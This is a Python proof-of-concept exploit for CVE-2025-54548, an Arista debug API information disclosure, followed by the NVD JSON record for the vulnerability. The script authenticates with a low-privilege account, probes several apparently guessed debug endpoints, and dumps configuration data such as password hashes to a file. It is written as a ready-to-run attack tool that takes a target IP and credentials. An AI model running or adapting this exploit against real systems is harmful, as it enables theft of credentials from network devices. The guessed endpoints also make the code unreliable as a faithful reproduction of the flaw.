CVE-2025-54548

# CVE-2025-54548 PoC - Arista Debug API Information Disclosure # Usage: python poc.py <target_ip> <username> <password> import requests import sys import json def exploit_arista_info_disclosure(target, username, password): """ Exploit for CVE-2025-54548: Arista Debug API Information Disclosure This PoC demonstrates how restricted users can access sensitive config data. """ base_url = f"https://{target}" # Step 1: Authenticate with low-privilege account login_url = f"{base_url}/api/v1/login" login_data = { "username": username, "password": password } session = requests.Session() try: login_response = session.post(login_url, json=login_data, verify=False, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Access debug API to retrieve sensitive config database debug_endpoints = [ "/debug/config/database", "/api/v1/debug/config", "/debug/api/config", "/api/v1/system/database/config" ] for endpoint in debug_endpoints: try: debug_url = f"{base_url}{endpoint}" response = session.get(debug_url, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Found accessible debug endpoint: {endpoint}") # Extract sensitive information data = response.json() if "users" in data or "password" in str(data).lower(): print("[+] Sensitive data found!") print(f"[+] Response excerpt: {json.dumps(data, indent=2)[:500]}") # Save to file with open(f"cve_2025_54548_data_{target}.json", "w") as f: json.dump(data, f, indent=2) print(f"[+] Data saved to cve_2025_54548_data_{target}.json") return True except Exception as e: continue print("[-] Debug API not accessible or patch already applied") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) exploit_arista_info_disclosure(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2025-54548", "sourceIdentifier": "[email protected]", "published": "2025-10-29T23:16:19.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "On affected platforms, restricted users could view sensitive portions of the config database via a debug API (e.g., user password hashes)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/22538-security-advisory-0124", "source": "[email protected]"}]}}